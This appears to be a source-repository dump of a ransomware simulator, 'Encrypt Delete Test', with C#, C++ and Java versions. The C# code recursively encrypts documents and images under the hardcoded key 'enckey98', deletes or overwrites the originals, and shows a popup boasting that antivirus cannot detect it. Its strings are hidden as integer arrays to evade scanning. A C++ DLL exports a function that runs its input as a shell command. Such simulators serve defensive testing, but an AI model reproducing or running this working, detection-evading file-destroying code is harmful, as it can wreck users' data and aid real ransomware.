GlobalVar.sSecretKey = "enckey98"; 79 | GCHandle gch = GCHandle.Alloc(GlobalVar.sSecretKey, GCHandleType.Pinned); 80 | 81 | string path; 82 | if (string.IsNullOrEmpty(specifiedpath)) 83 | { 84 | path = @System.IO.Directory.GetCurrentDirectory(); 85 | } 86 | else 87 | { 88 | path = specifiedpath; 89 | } 90 | if (File.Exists(path)) 91 | { 92 | ProcessFile(path); 93 | } 94 | else if (Directory.Exists(path)) 95 | { 96 | ProcessDirectory(path); 97 | } 98 | else 99 | { 100 | Console.WriteLine("{0} is not a valid file or directory.", path); 101 | } 102 | 103 | String encryptionkey; 104 | encryptionkey = GlobalVar.sSecretKey + " "; 105 | ZeroMemory(gch.AddrOfPinnedObject(), GlobalVar.sSecretKey.Length * 2); 106 | gch.Free(); 107 | 108 | if (GlobalVar.encryptedcount > 0) 109 | { 110 | using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"popup.html")) 111 | { 112 | CharNum = new int[] { 60, 104, 116, 109, 108, 62 }; 113 | file.WriteLine(NumtoString(CharNum)); 114 | CharNum = new int[] { 60, 104, 101, 97, 100, 62 }; 115 | file.WriteLine(NumtoString(CharNum)); 116 | CharNum = new int[] { 60, 116, 105, 116, 108, 101, 62, 69, 110, 99, 114, 121, 112, 116, 68, 101, 108, 84, 101, 115, 116, 118, 51, 60, 47, 116, 105, 116, 108, 101, 62 }; 117 | file.WriteLine(NumtoString(CharNum)); 118 | 119 | CharNum = new int[] { 60, 98, 111, 100, 121, 32, 98, 103, 99, 111, 108, 111, 114, 61, 114, 101, 100, 62 }; 120 | file.WriteLine(NumtoString(CharNum)); 121 | CharNum = new int[] { 60, 102, 111, 110, 116, 32, 115, 105, 122, 101, 61, 43, 49, 48, 32, 99, 111, 108, 111, 114, 61, 119, 104, 105, 116, 101, 62, 60, 98, 62, 91, 69, 110, 99, 114, 121, 112, 116, 68, 101, 108, 84, 101, 115, 116, 118, 51, 93, 60, 47, 98, 62, 60, 47, 102, 111, 110, 116, 62, 60, 98, 114, 62, 60, 98, 114, 62, 60, 98, 114, 62, 60, 98, 114, 62 }; 122 | file.WriteLine(NumtoString(CharNum)); 123 | CharNum = new int[] { 60, 102, 111, 110, 116, 32, 115, 105, 122, 101, 61, 43, 49, 48, 32, 99, 111, 108, 111, 114, 61, 119, 104, 105, 116, 101, 62, 89, 111, 117, 114, 32, 97, 110, 116, 105, 45, 118, 105, 114, 117, 115, 32, 115, 111, 102, 116, 119, 97, 114, 101, 32, 60, 117, 62, 67, 65, 78, 78, 79, 84, 60, 47, 117, 62, 32, 100, 101, 116, 101, 99, 116, 32, 116, 104, 105, 115, 32, 116, 101, 115, 116, 60, 47, 102, 111, 110, 116, 62, 60, 98, 114, 62, 60, 98, 114, 62 }; 124 | file.WriteLine(NumtoString(CharNum)); 125 | CharNum = new int[] { 60, 98, 114, 62 }; 126 | file.WriteLine(NumtoString(CharNum)); 127 | file.WriteLine(NumtoString(CharNum)); 128 | CharNum = new int[] { 60, 98, 114, 62, 69, 110, 99, 114, 121, 112, 116, 105, 111, 110, 32, 75, 101, 121, 58, 32 }; 129 | file.WriteLine(NumtoString(CharNum) + encryptionkey); 130 | CharNum = new int[] { 60, 98, 114, 62, 69, 110, 99, 114, 121, 112, 116, 101, 100, 32, 70, 105, 108, 101, 58, 32 }; 131 | file.WriteLine(NumtoString(CharNum) + GlobalVar.encryptedcount); 132 | CharNum = new int[] { 60, 98, 114, 62, 80, 97, 116, 104, 58, 32 }; 133 | file.WriteLine(NumtoString(CharNum) + path); 134 | CharNum = new int[] { 60, 98, 114, 62 }; 135 | file.WriteLine(NumtoString(CharNum) + DateTime.Now); 136 | file.WriteLine(NumtoString(CharNum)); 137 | CharNum = new int[] { 60, 47, 98, 111, 100, 121, 62 }; 138 | file.WriteLine(NumtoString(CharNum)); 139 | CharNum = new int[] { 60, 47, 104, 116, 109, 108, 62 }; 140 | file.WriteLine(NumtoString(CharNum)); 141 | } 142 | Process.Start(@"popup.html"); 143 | Console.WriteLine(""); 144 | Console.WriteLine(""); 145 | CharNum = new int[] { 69, 110, 99, 114, 121, 112, 116, 105, 111, 110, 32, 75, 101, 121, 58, 32 }; 146 | Console.WriteLine(NumtoString(CharNum) + encryptionkey); 147 | CharNum = new int[] { 69, 110, 99, 114, 121, 112, 116, 101, 100, 32, 70, 105, 108, 101, 58, 32 }; 148 | Console.WriteLine(NumtoString(CharNum) + GlobalVar.encryptedcount); 149 | CharNum = new int[] { 89, 111, 117, 114, 32, 97, 110, 116, 105, 45, 118, 105, 114, 117, 115, 32, 115, 111, 102, 116, 119, 97, 114, 101, 32, 67, 65, 78, 78, 79, 84, 32, 100, 101, 116, 101, 99, 116, 32, 116, 104, 105, 115, 32, 116, 101, 115, 116 }; 150 | Console.WriteLine(NumtoString(CharNum)); 151 | } 152 | else 153 | { 154 | CharNum = new int[] { 78, 111, 32, 102, 105, 108, 101, 32, 105, 115, 32, 102, 111, 117, 110, 100, 32, 111, 114, 32, 101, 110, 99, 114, 121, 112, 116, 101, 100 }; 155 | Console.WriteLine(NumtoString(CharNum)); 156 | } 157 | Console.WriteLine(""); 158 | Console.WriteLine("Press any key to continue . . ."); 159 | Console.ReadKey(); 160 | } 161 | 162 | [System.Runtime.InteropServices.DllImport("KERNEL32.DLL", EntryPoint = "RtlZeroMemory")] 163 | public static extern bool ZeroMemory(IntPtr Destination, int Length); 164 | 165 | static string GenerateKey() 166 | { 167 | DESCryptoServiceProvider desCrypto = (DESCryptoServiceProvider)DESCryptoServiceProvider.Create(); 168 | return ASCIIEncoding.ASCII.GetString(desCrypto.Key); 169 | } 170 | 171 | static string NumtoString(int[] NumArray) 172 | { 173 | String result; 174 | result = ""; 175 | foreach (int i in NumArray) 176 | { 177 | result += ((char)i).ToString(); 178 | } 179 | return result; 180 | } 181 | 182 | static void EncryptFileDES(string sInputFilename, 183 | string sOutputFilename, 184 | string sKey) 185 | { 186 | FileStream fsInput = new FileStream(sInputFilename, 187 | FileMode.Open, 188 | FileAccess.Read); 189 | 190 | FileStream fsEncrypted = new FileStream(sOutputFilename, 191 | FileMode.Create, 192 | FileAccess.Write); 193 | DESCryptoServiceProvider DES = new DESCryptoServiceProvider(); 194 | DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey); 195 | DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey); 196 | ICryptoTransform desencrypt = DES.CreateEncryptor(); 197 | CryptoStream cryptostream = new CryptoStream(fsEncrypted, 198 | desencrypt, 199 | CryptoStreamMode.Write); 200 | 201 | byte[] bytearrayinput = new byte[fsInput.Length]; 202 | fsInput.Read(bytearrayinput, 0, bytearrayinput.Length); 203 | cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length); 204 | cryptostream.Close(); 205 | fsInput.Close(); 206 | fsEncrypted.Close(); 207 | GlobalVar.encryptedcount = GlobalVar.encryptedcount + 1; 208 | } 209 | 210 | public static void ProcessDirectory(string targetDirectory) 211 | { 212 | String supportedfileextensions; 213 | int[] CharNum = { 42, 46, 100, 111, 99, 44, 42, 46, 100, 111, 99, 120, 44, 42, 46, 120, 108, 115, 44, 42, 46, 120, 108, 115, 120, 44, 42, 46, 116, 120, 116, 44, 42, 46, 114, 116, 102, 44, 42, 46, 112, 100, 102, 44, 42, 46, 106, 112, 103, 44, 42, 46, 106, 112, 101, 103, 44, 42, 46, 103, 105, 102, 44, 42, 46, 98, 109, 112, 44, 42, 46, 112, 110, 103 }; 214 | supportedfileextensions = NumtoString(CharNum); 215 | string[] fileEntries = Directory.GetFiles(targetDirectory); 216 | foreach (string fileName in fileEntries) 217 | { 218 | if (supportedfileextensions.Contains(Path.GetExtension(fileName))) 219 | { 220 | ProcessFile(fileName); 221 | } 222 | } 223 | 224 | // Recurse into subdirectories of this directory. 225 | string[] subdirectoryEntries = Directory.GetDirectories(targetDirectory); 226 | foreach (string subdirectory in subdirectoryEntries) 227 | ProcessDirectory(subdirectory); 228 | } 229 | 230 | public static void ProcessFile(string path) 231 | { 232 | Console.WriteLine(""); 233 | int[] CharNum = { 110, 99, 114, 121, 112, 116 }; 234 | Console.WriteLine("E" + NumtoString(CharNum) + " to '{0}'", path + ".e" + NumtoString(CharNum) + "ed"); 235 | 236 | string newfileext; 237 | 238 | newfileext = ".e" + NumtoString(CharNum) + "ed"; 239 | EncryptFileDES(@path, @path + newfileext, GlobalVar.sSecretKey); 240 | 241 | Console.WriteLine("Delete '{0}'", path); 242 | if (GlobalVar.choose == "1b" || GlobalVar.choose == "2b") 243 | { 244 | Console.WriteLine("Overwrite '{0}'", path); 245 | File.Copy(path + newfileext, path, true); 246 | File.Copy(path, path + newfileext, true); 247 | } 248 | File.Delete(path); 249 | Console.Write("'" + path + "' "); 250 | Console.WriteLine(File.Exists(path) ? "File exists." : "File does not exist."); 251 | } 252 | 253 | public static byte[] GenerateRandomSalt() 254 | { 255 | byte[] data = new byte[32]; 256 | 257 | using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider()) 258 | { 259 | for (int i = 0; i < 10; i++) 260 | { 261 | rng.GetBytes(data); 262 | } 263 | } 264 | 265 | return data; 266 | } 267 | 268 | } 269 | } 270 | -------------------------------------------------------------------------------- /Source/C#/Program.cs.211009: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using System.IO; 7 | using System.Security; 8 | using System.Security.Cryptography; 9 | using System.Runtime.InteropServices; 10 | using System.Collections; 11 | using System.Diagnostics; 12 | using System.Security.AccessControl; 13 | using System.Globalization; 14 | using System.Text.RegularExpressions; 15 | using System.Windows.Forms; 16 | 17 | namespace EncryptDelTestv4 18 | { 19 | public static class GlobalVar 20 | { 21 | public static string sSecretKey = ""; 22 | public static string myargs = ""; 23 | public static string choose = ""; 24 | public static int encryptedcount = 0; 25 | public static string strEncrypt = (Convert.ToChar(101)).ToString() + (Convert.ToChar(110)).ToString() + (Convert.ToChar(99)).ToString() + (Convert.ToChar(114)).ToString() + (Convert.ToChar(121)).ToString() + (Convert.ToChar(112)).ToString() + (Convert.ToChar(116)).ToString(); 26 | public static string strDecrypt = (Convert.ToChar(100)).ToString() + (Convert.ToChar(101)).ToString() + (Convert.ToChar(99)).ToString() + (Convert.ToChar(114)).ToString() + (Convert.ToChar(121)).ToString() + (Convert.ToChar(112)).ToString() + (Convert.ToChar(116)).ToString(); 27 | public static string strCrypted = (Convert.ToChar(99)).ToString() + (Convert.ToChar(114)).ToString() + (Convert.ToChar(121)).ToString() + (Convert.ToChar(112)).ToString() + (Convert.ToChar(116)).ToString() + (Convert.ToChar(101)).ToString() + (Convert.ToChar(100)).ToString(); 28 | } 29 | 30 | class Program 31 | { 32 | [STAThread] 33 | static void Main(string[] args) 34 | { 35 | int[] CharNum = { 91, 69, 110, 99, 114, 121, 112, 116, 32, 68, 101, 108, 101, 116, 101, 32, 84, 101, 115, 116, 32, 118, 52, 93 }; 36 | Console.WriteLine(NumtoString(CharNum)); 37 | CharNum = new int[] { 83, 105, 109, 117, 108, 97, 116, 101, 32, 114, 97, 110, 115, 111, 109, 119, 97, 114, 101, 32, 101, 110, 99, 114, 121, 112, 116, 105, 111, 110, 32, 111, 112, 101, 114, 97, 116, 105, 111, 110 }; 38 | Console.WriteLine(NumtoString(CharNum)); 39 | CharNum = new int[] { 66, 121, 32, 69, 100, 100, 105, 101, 32, 67, 104, 117, 32, 101, 100, 100, 105, 101, 99, 104, 117, 46, 97, 110, 100, 114, 111, 105, 100, 64, 103, 109, 97, 105, 108, 46, 99, 111, 109 }; 40 | Console.WriteLine(NumtoString(CharNum)); 41 | CharNum = new int[] { 80, 108, 101, 97, 115, 101, 32, 100, 111, 119, 110, 108, 111, 97, 100, 32, 116, 104, 101, 32, 111, 114, 105, 103, 105, 110, 97, 108, 32, 97, 110, 100, 32, 108, 97, 116, 101, 115, 116, 32, 118, 101, 114, 115, 105, 111, 110, 32, 102, 114, 111, 109, 32, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 101, 100, 100, 105, 101, 99, 104, 117, 47, 69, 110, 99, 114, 121, 112, 116, 45, 68, 101, 108, 101, 116, 101, 45, 84, 101, 115, 116 }; 42 | Console.WriteLine(NumtoString(CharNum)); 43 | CharNum = new int[] { 86, 101, 114, 115, 105, 111, 110, 32, 118, 52, 46, 48, 46, 48, 32, 40, 56, 47, 79, 99, 116, 47, 50, 48, 50, 49, 41 }; 44 | Console.WriteLine(NumtoString(CharNum)); 45 | Console.WriteLine(""); 46 | CharNum = new int[] { 84, 104, 105, 115, 32, 116, 111, 111, 108, 32, 101, 110, 99, 114, 121, 112, 116, 115, 32, 45, 32, 111, 118, 101, 114, 119, 114, 105, 116, 101, 115, 32, 45, 32, 114, 101, 110, 97, 109, 101, 115, 32, 116, 104, 101, 32, 102, 105, 108, 101, 32, 117, 110, 100, 101, 114, 32, 115, 101, 108, 101, 99, 116, 101, 100, 32, 102, 111, 108, 100, 101, 114, 32, 97, 110, 100, 32, 105, 116, 39, 115, 32, 115, 117, 98, 102, 111, 108, 100, 101, 114, 40, 115, 41 }; 47 | Console.WriteLine(NumtoString(CharNum)); 48 | Console.WriteLine(""); 49 | CharNum = new int[] { 91, 67, 97, 117, 116, 105, 111, 110, 93 }; 50 | Console.WriteLine(NumtoString(CharNum)); 51 | CharNum = new int[] { 89, 111, 117, 32, 117, 115, 101, 32, 116, 104, 105, 115, 32, 116, 111, 111, 108, 32, 99, 111, 109, 112, 108, 101, 116, 101, 108, 121, 32, 97, 116, 32, 121, 111, 117, 114, 32, 111, 119, 110, 32, 114, 105, 115, 107, 46 }; 52 | Console.WriteLine(NumtoString(CharNum)); 53 | Console.WriteLine(""); 54 | do 55 | { 56 | CharNum = new int[] { 91, 79, 112, 116, 105, 111, 110, 115, 93 }; 57 | Console.WriteLine(NumtoString(CharNum)); 58 | CharNum = new int[] { 62, 101, 110, 99, 114, 121, 112, 116 }; 59 | Console.WriteLine(NumtoString(CharNum)); 60 | CharNum = new int[] { 62, 100, 101, 99, 114, 121, 112, 116 }; 61 | Console.WriteLine(NumtoString(CharNum)); 62 | CharNum = new int[] { 80, 108, 101, 97, 115, 101, 32, 116, 121, 112, 101, 32, 116, 104, 101, 32, 111, 112, 116, 105, 111, 110, 58, 32, 62 }; 63 | Console.Write(NumtoString(CharNum)); 64 | GlobalVar.choose = Console.ReadLine(); 65 | CharNum = new int[] { 101, 110, 99, 114, 121, 112, 116 }; 66 | } while (!(GlobalVar.choose.StartsWith(GlobalVar.strEncrypt) || GlobalVar.choose.StartsWith(GlobalVar.strDecrypt))); 67 | 68 | FolderBrowserDialog folderBrowserDialog = new FolderBrowserDialog(); 69 | folderBrowserDialog.SelectedPath = Directory.GetCurrentDirectory(); 70 | folderBrowserDialog.Description = "Select a folder"; 71 | 72 | if (folderBrowserDialog.ShowDialog() != DialogResult.OK) 73 | { 74 | System.Environment.Exit(0); 75 | } 76 | 77 | string path = folderBrowserDialog.SelectedPath; 78 | Console.WriteLine(""); 79 | Console.WriteLine(path); 80 | 81 | GlobalVar.sSecretKey = "enckey98"; 82 | GCHandle gch = GCHandle.Alloc(GlobalVar.sSecretKey, GCHandleType.Pinned); 83 | 84 | if (File.Exists(path)) 85 | { 86 | ProcessFile(path); 87 | } 88 | else if (Directory.Exists(path)) 89 | { 90 | ProcessDirectory(path); 91 | } 92 | else 93 | { 94 | Console.WriteLine("{0} is not a valid file or directory.", path); 95 | } 96 | 97 | if (GlobalVar.choose.StartsWith(GlobalVar.strEncrypt)) 98 | { 99 | String encryptionkey; 100 | encryptionkey = GlobalVar.sSecretKey + " "; 101 | 102 | if (GlobalVar.encryptedcount > 0) 103 | { 104 | using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"popup.html")) 105 | { 106 | CharNum = new int[] { 60, 104, 116, 109, 108, 62 }; 107 | file.WriteLine(NumtoString(CharNum)); 108 | CharNum = new int[] { 60, 104, 101, 97, 100, 62 }; 109 | file.WriteLine(NumtoString(CharNum)); 110 | CharNum = new int[] { 60, 116, 105, 116, 108, 101, 62, 69, 110, 99, 114, 121, 112, 116, 68, 101, 108, 84, 101, 115, 116, 118, 52, 60, 47, 116, 105, 116, 108, 101, 62 }; 111 | file.WriteLine(NumtoString(CharNum)); 112 | 113 | CharNum = new int[] { 60, 98, 111, 100, 121, 32, 98, 103, 99, 111, 108, 111, 114, 61, 114, 101, 100, 62 }; 114 | file.WriteLine(NumtoString(CharNum)); 115 | CharNum = new int[] { 60, 102, 111, 110, 116, 32, 115, 105, 122, 101, 61, 43, 49, 48, 32, 99, 111, 108, 111, 114, 61, 119, 104, 105, 116, 101, 62, 60, 98, 62, 91, 69, 110, 99, 114, 121, 112, 116, 68, 101, 108, 84, 101, 115, 116, 118, 52, 93, 60, 47, 98, 62, 60, 47, 102, 111, 110, 116, 62, 60, 98, 114, 62, 60, 98, 114, 62, 60, 98, 114, 62, 60, 98, 114, 62 }; 116 | file.WriteLine(NumtoString(CharNum)); 117 | CharNum = new int[] { 60, 102, 111, 110, 116, 32, 115, 105, 122, 101, 61, 43, 49, 48, 32, 99, 111, 108, 111, 114, 61, 119, 104, 105, 116, 101, 62, 89, 111, 117, 114, 32, 97, 110, 116, 105, 45, 118, 105, 114, 117, 115, 32, 115, 111, 102, 116, 119, 97, 114, 101, 32, 60, 117, 62, 67, 65, 78, 78, 79, 84, 60, 47, 117, 62, 32, 100, 101, 116, 101, 99, 116, 32, 116, 104, 105, 115, 32, 116, 101, 115, 116, 60, 47, 102, 111, 110, 116, 62, 60, 98, 114, 62, 60, 98, 114, 62 }; 118 | file.WriteLine(NumtoString(CharNum)); 119 | CharNum = new int[] { 60, 98, 114, 62 }; 120 | file.WriteLine(NumtoString(CharNum)); 121 | file.WriteLine(NumtoString(CharNum)); 122 | CharNum = new int[] { 60, 98, 114, 62, 69, 110, 99, 114, 121, 112, 116, 105, 111, 110, 32, 75, 101, 121, 58, 32 }; 123 | file.WriteLine(NumtoString(CharNum) + encryptionkey); 124 | CharNum = new int[] { 60, 98, 114, 62, 69, 110, 99, 114, 121, 112, 116, 101, 100, 32, 70, 105, 108, 101, 58, 32 }; 125 | file.WriteLine(NumtoString(CharNum) + GlobalVar.encryptedcount); 126 | CharNum = new int[] { 60, 98, 114, 62, 80, 97, 116, 104, 58, 32 }; 127 | file.WriteLine(NumtoString(CharNum) + path); 128 | CharNum = new int[] { 60, 98, 114, 62 }; 129 | file.WriteLine(NumtoString(CharNum) + DateTime.Now); 130 | file.WriteLine(NumtoString(CharNum)); 131 | CharNum = new int[] { 60, 47, 98, 111, 100, 121, 62 }; 132 | file.WriteLine(NumtoString(CharNum)); 133 | CharNum = new int[] { 60, 47, 104, 116, 109, 108, 62 }; 134 | file.WriteLine(NumtoString(CharNum)); 135 | } 136 | Process.Start(@"popup.html"); 137 | Console.WriteLine(""); 138 | Console.WriteLine(""); 139 | CharNum = new int[] { 69, 110, 99, 114, 121, 112, 116, 105, 111, 110, 32, 75, 101, 121, 58, 32 }; 140 | Console.WriteLine(NumtoString(CharNum) + encryptionkey); 141 | CharNum = new int[] { 69, 110, 99, 114, 121, 112, 116, 101, 100, 32, 70, 105, 108, 101, 58, 32 }; 142 | Console.WriteLine(NumtoString(CharNum) + GlobalVar.encryptedcount); 143 | CharNum = new int[] { 89, 111, 117, 114, 32, 97, 110, 116, 105, 45, 118, 105, 114, 117, 115, 32, 115, 111, 102, 116, 119, 97, 114, 101, 32, 67, 65, 78, 78, 79, 84, 32, 100, 101, 116, 101, 99, 116, 32, 116, 104, 105, 115, 32, 116, 101, 115, 116 }; 144 | Console.WriteLine(NumtoString(CharNum)); 145 | } 146 | else 147 | { 148 | CharNum = new int[] { 78, 111, 32, 102, 105, 108, 101, 32, 105, 115, 32, 102, 111, 117, 110, 100, 32, 111, 114, 32, 101, 110, 99, 114, 121, 112, 116, 101, 100 }; 149 | Console.WriteLine(NumtoString(CharNum)); 150 | } 151 | } 152 | 153 | Console.WriteLine(""); 154 | Console.WriteLine("Press any key to continue . . ."); 155 | Console.ReadKey(); 156 | } 157 | 158 | static string NumtoString(int[] NumArray) 159 | { 160 | String result; 161 | result = ""; 162 | foreach (int i in NumArray) 163 | { 164 | result += ((char)i).ToString(); 165 | } 166 | return result; 167 | } 168 | 169 | static void EncryptFile(string sInputFilename, 170 | string sOutputFilename, 171 | string sKey) 172 | { 173 | FileStream fsInput = new FileStream(sInputFilename, 174 | FileMode.Open, 175 | FileAccess.Read); 176 | 177 | byte[] salt = { 0x0, 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 178 | 0xF1, 0xF0, 0xEE, 0x21, 0x22, 0x45 }; 179 | byte[] passwords = Encoding.UTF8.GetBytes(sKey); 180 | RijndaelManaged AES = new RijndaelManaged(); 181 | AES.KeySize = 256; 182 | AES.BlockSize = 128; 183 | AES.Padding = PaddingMode.PKCS7; 184 | var key = new Rfc2898DeriveBytes(passwords, salt, 50000); 185 | AES.Key = key.GetBytes(AES.KeySize / 8); 186 | AES.IV = key.GetBytes(AES.BlockSize / 8); 187 | AES.Mode = CipherMode.CFB; 188 | ICryptoTransform desencrypt = AES.CreateEncryptor(); 189 | 190 | byte[] bytearrayinput = new byte[fsInput.Length]; 191 | fsInput.Read(bytearrayinput, 0, bytearrayinput.Length); 192 | fsInput.Close(); 193 | FileStream fsEncrypted = new FileStream(sInputFilename, 194 | FileMode.Create, 195 | FileAccess.Write); 196 | CryptoStream cryptostream = new CryptoStream(fsEncrypted, 197 | desencrypt, 198 | CryptoStreamMode.Write); 199 | cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length); 200 | cryptostream.Close(); 201 | fsEncrypted.Close(); 202 | File.Move(sInputFilename, sOutputFilename); 203 | 204 | GlobalVar.encryptedcount = GlobalVar.encryptedcount + 1; 205 | } 206 | 207 | static void DecryptFile(string sInputFilename, 208 | string sOutputFilename, 209 | string sKey) 210 | { 211 | byte[] passwords = Encoding.UTF8.GetBytes(sKey); 212 | byte[] salt = { 0x0, 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 213 | 0xF1, 0xF0, 0xEE, 0x21, 0x22, 0x45 }; 214 | using (FileStream fsCrypt = new FileStream(sInputFilename, FileMode.Open)) 215 | { 216 | RijndaelManaged AES = new RijndaelManaged(); 217 | AES.KeySize = 256;//aes 256 bit encryption c# 218 | AES.BlockSize = 128;//aes 128 bit encryption c# 219 | var key = new Rfc2898DeriveBytes(passwords, salt, 50000); 220 | AES.Key = key.GetBytes(AES.KeySize / 8); 221 | AES.IV = key.GetBytes(AES.BlockSize / 8); 222 | AES.Padding = PaddingMode.PKCS7; 223 | AES.Mode = CipherMode.CFB; 224 | using (CryptoStream cryptoStream = new CryptoStream(fsCrypt, AES.CreateDecryptor(), CryptoStreamMode.Read)) 225 | { 226 | using (FileStream fsOut = new FileStream(sOutputFilename, FileMode.Create)) 227 | { 228 | int read; 229 | byte[] buffer = new byte[1048576]; 230 | while ((read = cryptoStream.Read(buffer, 0, buffer.Length)) > 0) 231 | { 232 | fsOut.Write(buffer, 0, read); 233 | } 234 | } 235 | } 236 | } 237 | } 238 | 239 | public static void ProcessDirectory(string targetDirectory) 240 | { 241 | String supportedfileextensions = ""; 242 | if (GlobalVar.choose.StartsWith(GlobalVar.strEncrypt)) 243 | { 244 | int[] CharNum = { 42, 46, 100, 111, 99, 44, 42, 46, 100, 111, 99, 120, 44, 42, 46, 120, 108, 115, 44, 42, 46, 120, 108, 115, 120, 44, 42, 46, 116, 120, 116, 44, 42, 46, 114, 116, 102, 44, 42, 46, 112, 100, 102, 44, 42, 46, 106, 112, 103, 44, 42, 46, 106, 112, 101, 103, 44, 42, 46, 103, 105, 102, 44, 42, 46, 98, 109, 112, 44, 42, 46, 112, 110, 103}; 245 | supportedfileextensions = NumtoString(CharNum); 246 | } 247 | else 248 | { 249 | supportedfileextensions = "*." + GlobalVar.strCrypted; 250 | } 251 | string[] fileEntries = Directory.GetFiles(targetDirectory); 252 | 253 | foreach (string fileName in fileEntries) 254 | { 255 | if (supportedfileextensions.Contains(Path.GetExtension(fileName))) 256 | { 257 | ProcessFile(fileName); 258 | } 259 | } 260 | 261 | string[] subdirectoryEntries = Directory.GetDirectories(targetDirectory); 262 | foreach (string subdirectory in subdirectoryEntries) 263 | ProcessDirectory(subdirectory); 264 | } 265 | 266 | public static void ProcessFile(string path) 267 | { 268 | Console.WriteLine(""); 269 | if (GlobalVar.choose.StartsWith(GlobalVar.strEncrypt)) 270 | { 271 | string newfileext; 272 | newfileext = "." + GlobalVar.strCrypted; 273 | int[] CharNum = { 69, 110, 99, 114, 121, 112, 116, 32, 97, 110, 100, 32, 111, 118, 101, 114, 119, 114, 105, 116, 101, 32, 116, 111 }; 274 | Console.WriteLine(NumtoString(CharNum) + " '{0}'", path + newfileext); 275 | 276 | EncryptFile(@path, @path + newfileext, GlobalVar.sSecretKey); 277 | 278 | } 279 | else if (GlobalVar.choose.StartsWith(GlobalVar.strDecrypt)) 280 | { 281 | string newfilename; 282 | newfilename = path.Replace("." + GlobalVar.strCrypted, ""); 283 | int[] CharNum = { 68, 101, 99, 114, 121, 112, 116, 32, 116, 111 }; 284 | Console.WriteLine(NumtoString(CharNum) + " '{0}'", newfilename); 285 | 286 | DecryptFile(@path, @newfilename, GlobalVar.sSecretKey); 287 | 288 | } 289 | } 290 | } 291 | } 292 | -------------------------------------------------------------------------------- /Source/C++/loader.cpp: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include 3 | #include 4 | #include 5 | 6 | BOOL APIENTRY DllMain( HMODULE hModule, 7 | DWORD ul_reason_for_call, 8 | LPVOID lpReserved 9 | ) 10 | { 11 | switch (ul_reason_for_call) 12 | { 13 | case DLL_PROCESS_ATTACH: 14 | case DLL_THREAD_ATTACH: 15 | case DLL_THREAD_DETACH: 16 | case DLL_PROCESS_DETACH: 17 | break; 18 | } 19 | return TRUE; 20 | } 21 | 22 | extern "C" __declspec(dllexport) 23 | void call(HWND hwnd, HINSTANCE hinst, LPTSTR sInput, int nCmdShow) 24 | { 25 | CHAR buff[64]; 26 | sprintf_s(buff, "%s", sInput); 27 | system(buff); 28 | } 29 | -------------------------------------------------------------------------------- /Source/C++/loader.cpp.221004: -------------------------------------------------------------------------------- 1 | #include "pch.h" 2 | #include 3 | #include 4 | #include 5 | 6 | BOOL APIENTRY DllMain( HMODULE hModule, 7 | DWORD ul_reason_for_call, 8 | LPVOID lpReserved 9 | ) 10 | { 11 | switch (ul_reason_for_call) 12 | { 13 | case DLL_PROCESS_ATTACH: 14 | case DLL_THREAD_ATTACH: 15 | case DLL_THREAD_DETACH: 16 | case DLL_PROCESS_DETACH: 17 | break; 18 | } 19 | return TRUE; 20 | } 21 | 22 | extern "C" __declspec(dllexport) 23 | void call(HWND hwnd, HINSTANCE hinst, LPTSTR sInput, int nCmdShow) 24 | { 25 | CHAR buff[64]; 26 | sprintf_s(buff, "%s", sInput); 27 | system(buff); 28 | } 29 | -------------------------------------------------------------------------------- /Source/Java/EncryptDelTestv3.java.210807: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | import java.io.File; 3 | import java.io.FilenameFilter; 4 | import java.io.IOException; 5 | 6 | import java.io.FileInputStream; 7 | import java.io.FileOutputStream; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.security.InvalidAlgorithmParameterException; 11 | import java.security.InvalidKeyException; 12 | import java.security.NoSuchAlgorithmException; 13 | import java.security.spec.AlgorithmParameterSpec; 14 | 15 | import javax.crypto.Cipher; 16 | import javax.crypto.CipherInputStream; 17 | import javax.crypto.CipherOutputStream; 18 | import javax.crypto.KeyGenerator; 19 | import javax.crypto.NoSuchPaddingException; 20 | import javax.crypto.SecretKey; 21 | import javax.crypto.spec.IvParameterSpec; 22 | 23 | import java.text.ParseException; 24 | import java.text.SimpleDateFormat; 25 | import java.util.Date; 26 | 27 | import java.io.*; 28 | import java.nio.file.StandardCopyOption; 29 | import java.nio.file.Files; 30 | import java.nio.file.Path; 31 | import java.nio.file.Paths; 32 | 33 | import java.awt.BorderLayout; 34 | import java.awt.event.ActionEvent; 35 | import javax.swing.*; 36 | import java.awt.event.*; 37 | import javax.swing.*; 38 | import java.awt.*; 39 | 40 | import java.net.URI; 41 | import java.awt.Desktop; 42 | 43 | public class EncryptDelTestv3 extends JPanel implements ActionListener { 44 | private static Cipher encrypt; 45 | private static Cipher decrypt; 46 | private static JTextArea textarea = new JTextArea(40, 60); 47 | private static JButton button = new JButton("Continue"); 48 | private static final byte[] initialization_vector = {99,11,88,00,55,66,33,22}; 49 | private static SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd"); 50 | private static Date today = new Date(); 51 | public static int encryptedcount; 52 | 53 | public EncryptDelTestv3(){ 54 | JFrame frame = new JFrame("EncryptDelTestv3"); 55 | textarea.setFocusable(false); 56 | textarea.setWrapStyleWord(false); 57 | textarea.setLineWrap(false); 58 | // DefaultCaret caret = (DefaultCaret)textarea.getCaret(); 59 | // caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE); 60 | Font font = new Font("Courier New", Font.BOLD, 12); 61 | textarea.setFont(font); 62 | JScrollPane scrollpane = new JScrollPane(textarea); 63 | scrollpane.setVerticalScrollBarPolicy(JScrollPane.VERTICAL_SCROLLBAR_ALWAYS); 64 | 65 | frame.setBounds(3, 3, 3, 3); 66 | frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); 67 | frame.getContentPane().setLayout(new BorderLayout(3, 3)); 68 | frame.getContentPane().add(new JScrollPane(textarea), BorderLayout.CENTER); 69 | 